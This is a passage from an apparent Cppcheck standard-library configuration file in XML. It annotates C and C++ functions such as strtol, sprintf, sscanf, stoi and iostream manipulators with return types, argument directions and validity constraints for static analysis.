    <!-- TODO #8387: use-retval is only valid when arg2==NULL -->
    <returnValue type="unsigned long"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- long long strtoll(const char *s, char **endp, int base); -->
  <function name="strtoll,std::strtoll">
    <!-- TODO #8387: use-retval is only valid when arg2==NULL -->
    <returnValue type="long long"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- unsigned long long strtoull(const char *s, char **endp, int base); -->
  <function name="strtoull,std::strtoull">
    <!-- TODO #8387: use-retval is only valid when arg2==NULL -->
    <returnValue type="unsigned long long"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- intmax_t strtoimax (const char* str, char** endptr, int base); -->
  <function name="strtoimax,std::strtoimax">
    <!-- TODO #8387: use-retval is only valid when arg2==NULL -->
    <returnValue type="intmax_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- uintmax_t strtoumax (const char* str, char** endptr, int base); -->
  <function name="strtoumax,std::strtoumax">
    <!-- TODO #8387: use-retval is only valid when arg2==NULL -->
    <returnValue type="uintmax_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- time_t time(time_t *tp); -->
  <function name="time,std::time">
    <returnValue type="time_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-uninit/>
    </arg>
  </function>
  <!-- char *tmpnam(char *s); -->
  <function name="tmpnam,std::tmpnam">
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-uninit/>
    </arg>
  </function>
  <!-- errno_t tmpnam_s(char *filename_s, rsize_t maxsize); -->
  <function name="tmpnam_s">
    <returnValue type="errno_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-uninit/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- FILE *tmpfile(void); -->
  <function name="tmpfile">
    <use-retval/>
    <returnValue type="FILE *"/>
    <noreturn>false</noreturn>
  </function>
  <!-- int tolower(int c); -->
  <function name="tolower,std::tolower">
    <use-retval/>
    <returnValue type="int">arg1 &lt; 'A' || arg1 &gt; 'Z' ? arg1 : arg1 + 32</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- int toupper(int c); -->
  <function name="toupper,std::toupper">
    <use-retval/>
    <returnValue type="int">arg1 &lt; 'a' || arg1 &gt; 'z' ? arg1 : arg1 - 32</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- typeid operator -->
  <function name="typeid">
    <use-retval/>
    <noreturn>false</noreturn>
    <arg nr="1"/>
  </function>
  <!-- type va_arg(va_list ap, type); -->
  <function name="va_arg">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="2"/>
  </function>
  <!-- void va_copy(va_list dest, va_list src); -->
  <function name="va_copy">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="2"/>
  </function>
  <!-- void va_end(va_list ap); -->
  <function name="va_end">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="1"/>
  </function>
  <!-- void va_start(va_list ap, paramN); -->
  <function name="va_start">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="2"/>
  </function>
  <!-- float wcstof(const wchar_t *s, wchar ** endp); -->
  <function name="wcstof,std::wcstof">
    <use-retval/>
    <returnValue type="float"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
  </function>
  <!-- double wcstod(const wchar_t *s, wchar ** endp); -->
  <function name="wcstod,std::wcstod">
    <use-retval/>
    <returnValue type="double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
  </function>
  <!-- long double wcstold(const wchar_t *s, wchar ** endp); -->
  <function name="wcstold,std::wcstold">
    <use-retval/>
    <returnValue type="long double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
  </function>
  <!-- float stof (const string&  str, size_t* idx = 0); -->
  <!-- float stof (const wstring& str, size_t* idx = 0); -->
  <function name="stof,std::stof">
    <use-retval/>
    <returnValue type="float"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" default="0" direction="out">
      <not-uninit/>
    </arg>
  </function>
  <!-- double stod (const string&  str, size_t* idx = 0); -->
  <!-- double stod (const wstring& str, size_t* idx = 0); -->
  <function name="stod,std::stod">
    <use-retval/>
    <returnValue type="double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" default="0" direction="out">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double stold (const string&  str, size_t* idx = 0); -->
  <!-- long double stold (const wstring& str, size_t* idx = 0); -->
  <function name="stold,std::stold">
    <use-retval/>
    <returnValue type="long double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" default="0" direction="out">
      <not-uninit/>
    </arg>
  </function>
  <!-- int stoi (const string&  str, size_t* idx = 0, int base = 10);-->
  <!-- int stoi (const wstring& str, size_t* idx = 0, int base = 10); -->
  <function name="stoi,std::stoi">
    <use-retval/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" default="0" direction="out">
      <not-uninit/>
    </arg>
    <arg nr="3" default="10" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- long stol (const string&  str, size_t* idx = 0, int base = 10);-->
  <!-- long stol (const wstring& str, size_t* idx = 0, int base = 10); -->
  <function name="stol,std::stol">
    <use-retval/>
    <returnValue type="long"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" default="0" direction="out">
      <not-uninit/>
    </arg>
    <arg nr="3" default="10" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- long long stoll (const string&  str, size_t* idx = 0, int base = 10);-->
  <!-- long long stoll (const wstring& str, size_t* idx = 0, int base = 10); -->
  <function name="stoll,std::stoll">
    <use-retval/>
    <returnValue type="long long"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" default="0" direction="out">
      <not-uninit/>
    </arg>
    <arg nr="3" default="10" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- unsigned long stoul (const string&  str, size_t* idx = 0, int base = 10);-->
  <!-- unsigned long stoul (const wstring& str, size_t* idx = 0, int base = 10); -->
  <function name="stoul,std::stoul">
    <use-retval/>
    <returnValue type="unsigned long"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" default="0" direction="out">
      <not-uninit/>
    </arg>
    <arg nr="3" default="10" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- unsigned long long stoull (const string&  str, size_t* idx = 0, int base = 10);-->
  <!-- unsigned long long stoull (const wstring& str, size_t* idx = 0, int base = 10); -->
  <function name="stoull,std::stoull">
    <use-retval/>
    <returnValue type="unsigned long long"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" default="0" direction="out">
      <not-uninit/>
    </arg>
    <arg nr="3" default="10" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- string to_string (int val); -->
  <!-- string to_string (long val); -->
  <!-- string to_string (long long val); -->
  <!-- string to_string (unsigned val); -->
  <!-- string to_string (unsigned long val); -->
  <!-- string to_string (unsigned long long val); -->
  <!-- string to_string (float val); -->
  <!-- string to_string (double val); -->
  <!-- string to_string (long double val);-->
  <function name="std::to_string">
    <use-retval/>
    <returnValue type="std::string"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- void std::string::resize (size_t n);-->
  <!-- void std::string::resize (size_t n, char c);-->
  <!-- void std::wstring::resize (size_t n);-->
  <!-- void std::wstring::resize (size_t n, wchar_t c);-->
  <function name="std::string::resize,std::wstring::resize">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="2" default=" " direction="in">
      <not-uninit/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- wstring to_wstring (int val); -->
  <!-- wstring to_wstring (long val); -->
  <!-- wstring to_wstring (long long val); -->
  <!-- wstring to_wstring (unsigned val); -->
  <!-- wstring to_wstring (unsigned long val); -->
  <!-- wstring to_wstring (unsigned long long val); -->
  <!-- wstring to_wstring (float val); -->
  <!-- wstring to_wstring (double val); -->
  <!-- wstring to_wstring (long double val);-->
  <function name="std::to_wstring">
    <use-retval/>
    <returnValue type="std::wstring"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- size_t mbrtowc(wchar_t* pwc, const char* pmb, size_t max, mbstate_t* ps); -->
  <function name="mbrtowc,std::mbrtowc">
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out"/>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="4" direction="inout">
      <not-uninit/>
    </arg>
  </function>
  <!-- wchar_t* wcstok(wchar_t *s, const wchar_t *ct, wchar_t **ptr); -->
  <function name="wcstok,std::wcstok">
    <returnValue type="wchar_t *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="3" direction="inout">
      <not-null/>
    </arg>
  </function>
  <!-- intmax_t wcstoimax(const wchar_t *s, wchar_t ** endp, int base); -->
  <function name="wcstoimax,std::wcstoimax">
    <use-retval/>
    <returnValue type="intmax_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- uintmax_t wcstoumax(const wchar_t *s, wchar_t ** endp, int base); -->
  <function name="wcstoumax,std::wcstoumax">
    <use-retval/>
    <returnValue type="uintmax_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- long wcstol(const wchar_t *s, wchar ** endp, int base); -->
  <function name="wcstol,std::wcstol">
    <!-- TODO #8387: use-retval is only valid when arg2==NULL -->
    <returnValue type="long"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- long long wcstoll(const wchar_t *s, wchar ** endp, int base); -->
  <function name="wcstoll,std::wcstoll">
    <!-- TODO #8387: use-retval is only valid when arg2==NULL -->
    <returnValue type="long long"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- unsigned long wcstoul(const wchar_t *s, wchar ** endp, int base); -->
  <function name="wcstoul,std::wcstoul">
    <!-- TODO #8387: use-retval is only valid when arg2==NULL -->
    <returnValue type="unsigned long"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- unsigned long long wcstoull(const wchar_t *s, wchar ** endp, int base); -->
  <function name="wcstoull,std::wcstoull">
    <!-- TODO #8387: use-retval is only valid when arg2==NULL -->
    <returnValue type="unsigned long long"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- int wprintf(const wchar_t *format, ...); -->
  <function name="wprintf,std::wprintf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <formatstr/>
    <arg nr="1" direction="in">
      <formatstr/>
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int sprintf(char *s, const char *format, ...); -->
  <function name="sprintf,std::sprintf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-uninit/>
      <minsize type="strlen" arg="2"/>
    </arg>
    <formatstr/>
    <arg nr="2" direction="in">
      <formatstr/>
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int sprintf_s(char *restrict buffer, rsize_t bufsz, const char *restrict format, ...); // since C11 // TODO: conflicts with the Windows functions where it is overloaded for C++ also -->
  <!-- int snprintf_s(char *restrict buffer, rsize_t bufsz, const char *restrict format, ...); // since C11 -->
  <function name="snprintf_s">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-uninit/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <formatstr/>
    <arg nr="3" direction="in">
      <formatstr/>
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int swprintf(wchar_t *s, size_t n, const wchar_t *format, ...); -->
  <function name="swprintf,std::swprintf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-uninit/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
      <strz/>
    </arg>
    <arg nr="3" direction="in">
      <!-- Due to different swprintf definitions "<formatstr/>" can not be used here. See https://trac.cppcheck.net/ticket/4790 -->
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- int vsprintf(char *s, const char *format, va_list arg); -->
  <function name="vsprintf,std::vsprintf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <formatstr/>
      <strz/>
    </arg>
    <arg nr="3"/>
  </function>
  <!-- int vswprintf(wchar_t *s, size_t n, const wchar_t *format, va_list arg); -->
  <function name="vswprintf,std::vswprintf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-null/>
      <not-uninit/>
      <formatstr/>
      <strz/>
    </arg>
    <arg nr="4"/>
  </function>
  <!-- int fwprintf(FILE* stream, const wchar_t* format, ...); -->
  <function name="fwprintf,std::fwprintf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
    </arg>
    <formatstr/>
    <arg nr="2" direction="in">
      <formatstr/>
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int snprintf(char *s, size_t n, const char *format, ...); -->
  <function name="snprintf,std::snprintf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-uninit/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <formatstr/>
    <arg nr="3" direction="in">
      <formatstr/>
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int vsnprintf(char *s, size_t n, const char *format, va_list arg); -->
  <function name="vsnprintf,std::vsnprintf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-uninit/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-null/>
      <not-uninit/>
      <formatstr/>
      <strz/>
    </arg>
    <arg nr="4"/>
  </function>
  <!-- int wscanf(const wchar_t *format, ...); -->
  <function name="wscanf,std::wscanf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <formatstr scan="true"/>
    <arg nr="1" direction="in">
      <formatstr/>
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int sscanf(const char *string, const char * format, ...); -->
  <function name="sscanf,std::sscanf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <strz/>
    </arg>
    <formatstr scan="true"/>
    <arg nr="2" direction="in">
      <formatstr/>
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int fwscanf(FILE* stream, const wchar_t* format, ...); -->
  <function name="fwscanf,std::fwscanf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <formatstr scan="true"/>
    <arg nr="2" direction="in">
      <formatstr/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int swscanf(const wchar_t *string, const wchar_t *format, ...); -->
  <function name="swscanf,std::swscanf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <strz/>
    </arg>
    <formatstr scan="true"/>
    <arg nr="2" direction="in">
      <formatstr/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int system(const char *command); -->
  <function name="system,std::system">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <!-- If a null pointer is given, command processor is checked for existence -->
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- /*unspecified*/ setw(int n); -->
  <function name="setw,std::setw">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- template <class T> std::numeric_limits<T>::epsilon(void); -->
  <function name="std::numeric_limits::epsilon">
    <use-retval/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <pure/>
  </function>
  <!-- static std::chrono::steady_clock::time_point std::chrono::high_resolution_clock::now() noexcept;-->
  <function name="std::chrono::high_resolution_clock::now">
    <use-retval/>
    <returnValue type="std::chrono::steady_clock::time_point"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
  </function>
  <!-- static std::chrono::system_clock::time_point std::chrono::system_clock::now() noexcept;-->
  <function name="std::chrono::system_clock::now">
    <use-retval/>
    <returnValue type="std::chrono::system_clock::time_point"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
  </function>
  <!-- static std::time_t std::chrono::system_clock::to_time_t( const time_point& t ) noexcept;-->
  <function name="std::chrono::system_clock::to_time_t">
    <use-retval/>
    <returnValue type="std::time_t"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in"/>
    <leak-ignore/>
  </function>
  <!-- template <class T> const T& min(const T& a, const T& b); -->
  <function name="min,std::min">
    <use-retval/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <pure/>
    <returnValue>arg1&lt;arg2?arg1:arg2</returnValue>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- template <class T> const T& max(const T& a, const T& b); -->
  <function name="max,std::max">
    <use-retval/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <pure/>
    <returnValue>arg1&gt;arg2?arg1:arg2</returnValue>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- /*unspecified*/ setiosflags(ios_base::fmtflags mask); -->
  <function name="setiosflags,std::setiosflags">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- /*unspecified*/ resetiosflags(ios_base::fmtflags mask); -->
  <function name="resetiosflags,std::resetiosflags">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- /*unspecified*/ setfill(char_type c); -->
  <function name="setfill,std::setfill">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- char std::ios::fill() const; -->
  <!-- char std::ios::fill(char_type c); -->
  <!-- char std::ostringstream::fill() const; -->
  <!-- char std::ostringstream::fill(char_type c); -->
  <function name="std::ios::fill,std::ostringstream::fill">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <use-retval/>
    <arg nr="1" direction="in" default="">
      <not-uninit/>
    </arg>
  </function>
 <!-- std::ios_base::fmtflags std::ios_base::flags() const;                          -->
 <!-- std::ios_base::fmtflags std::ios_base::flags( std::ios_base::fmtflags flags ); -->
  <function name="std::ios_base::flags">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::ios_base::fmtflags"/>
    <arg nr="1" direction="in" default="">
      <not-uninit/>
    </arg>
  </function>
 <!-- std::ostream::fmtflags std::ostream::flags() const;                          -->
 <!-- std::ostream::fmtflags std::ostream::flags( std::ostream::fmtflags flags );  -->
  <function name="std::ostream::flags">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::ostream::fmtflags"/>
    <arg nr="1" direction="in" default="">
      <not-uninit/>
    </arg>
  </function>
  <!-- std::ios_base::fmtflags std::ios_base::setf( std::ios_base::fmtflags flags ); -->
  <!-- std::ios_base::fmtflags std::ios_base::setf( std::ios_base::fmtflags flags, std::ios_base::fmtflags mask ); -->
  <!-- std::ios_base::fmtflags std::ostringstream::setf( std::ios_base::fmtflags flags ); -->
  <!-- std::ios_base::fmtflags std::ostringstream::setf( std::ios_base::fmtflags flags, std::ios_base::fmtflags mask ); -->
  <function name="std::ios_base::setf,std::ostringstream::setf">
    <noreturn>false</noreturn>
    <returnValue type="std::ios_base::fmtflags"/>
    <leak-ignore/>
    <arg nr="any" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- /*unspecified*/ setprecision(int n); -->
  <function name="setprecision,std::setprecision">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!--std::streamsize std::ios_base::precision(streamsize prec)-->
  <!--std::streamsize std::ostringstream::precision(streamsize prec)-->
  <!--std::streamsize std::ostream::precision(streamsize prec)-->
  <function name="std::ios_base::precision,std::ostringstream::precision,std::ostream::precision,std::ofstream::precision">
    <noreturn>false</noreturn>
    <returnValue type="std::streamsize"/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!--void std::ios_base::unsetf (fmtflags mask);-->
  <!--void std::ifstream::unsetf (fmtflags mask);-->
  <function name="std::ios_base::unsetf,std::ifstream::unsetf">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- single character (1)           int std::istream::get ();
                            std::istream& std::istream::get (char& c);
       c-string (2)         std::istream& std::istream::get (char* s, streamsize n);
                            std::istream& std::istream::get (char* s, streamsize n, char delim);
       stream buffer (3)    std::istream& std::istream::get (streambuf& sb);
                            std::istream& std::istream::get (streambuf& sb, char delim);-->
  <!-- There is currently no way to define this properly because Cppcheck lacks support for
       overloaded functions.-->
  <function name="std::istream::get,std::istringstream::get,std::ifstream::get">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <strz/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" default="'\n'" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- /*unspecified*/ setbase(int base); -->
  <function name="setbase,std::setbase">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- struct tmx *zonetime(const time_t *tp, int zone); -->
  <function name="zonetime">
    <use-retval/>
    <returnValue type="struct tmx *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- size_t c16rtomb ( char * pmb, char16_t c16, mbstate_t * ps ); -->
  <!-- size_t c32rtomb ( char * pmb, char32_t c32, mbstate_t * ps ); -->
  <function name="c16rtomb,c32rtomb">
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out"/>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="3" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- size_t mbrtoc16 ( char16_t * pc16, const char * pmb, size_t max, mbstate_t * ps); -->
  <!-- size_t mbrtoc32 ( char32_t * pc32, const char * pmb, size_t max, mbstate_t * ps); -->
  <function name="mbrtoc16,mbrtoc32">
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out"/>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="4" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- (1) (since C++17) bool std::filesystem::exists( std::filesystem::file_status s ) noexcept; -->
  <!-- (2) (since C++17) bool std::filesystem::exists( const std::filesystem::path& p ); -->
  <!-- (3) (since C++17) bool std::filesystem::exists( const std::filesystem::path& p, std::error_code& ec ) noexcept; -->
  <!-- (1) (since C++17) bool std::filesystem::is_block_file( std::filesystem::file_status s ) noexcept; -->
  <!-- (2) (since C++17) bool std::filesystem::is_block_file( const std::filesystem::path& p ); -->
  <!-- (3) (since C++17) bool std::filesystem::is_block_file( const std::filesystem::path& p, std::error_code& ec ) noexcept; -->
  <!-- (1) (since C++17) bool std::filesystem::is_character_file( std::filesystem::file_status s ) noexcept; -->
  <!-- (2) (since C++17) bool std::filesystem::is_character_file( const std::filesystem::path& p ); -->
  <!-- (3) (since C++17) bool std::filesystem::is_character_file( const std::filesystem::path& p, std::error_code& ec ) noexcept; -->
  <!-- (1) (since C++17) bool std::filesystem::is_directory( std::filesystem::file_status s ) noexcept; -->
  <!-- (2) (since C++17) bool std::filesystem::is_directory( const std::filesystem::path& p ); -->
